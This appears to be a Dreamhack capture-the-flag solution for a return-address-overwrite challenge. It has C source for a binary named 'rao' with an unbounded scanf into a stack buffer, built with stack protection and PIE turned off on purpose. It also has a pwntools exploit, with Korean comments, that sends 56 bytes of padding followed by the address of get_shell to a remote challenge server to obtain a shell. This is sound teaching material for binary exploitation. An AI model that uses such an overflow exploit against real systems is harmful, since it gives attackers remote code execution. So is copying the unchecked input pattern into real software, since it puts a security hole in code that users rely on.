
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}





exploit 코드
from pwn import *
# 1. 프로세스 실행
#p = process('./rao')
# 실제 드림핵 서버를 공격할 때 (문제 페이지의 접속 정보 입력)
p = remote('host8.dreamhack.games', 23591) # 포트 번호는 문제마다 다름!
# 2. get_shell 주소 설정
get_shell = 0x4006aa
# 3. 페이로드 생성 (56바이트 채우고 주소 넣기)
payload = b"A" * 56
payload += p64(get_shell)
# 4. 데이터 전송
p.sendline(payload)
# 5. 셸 획득 후 상호작용
p.interactive()


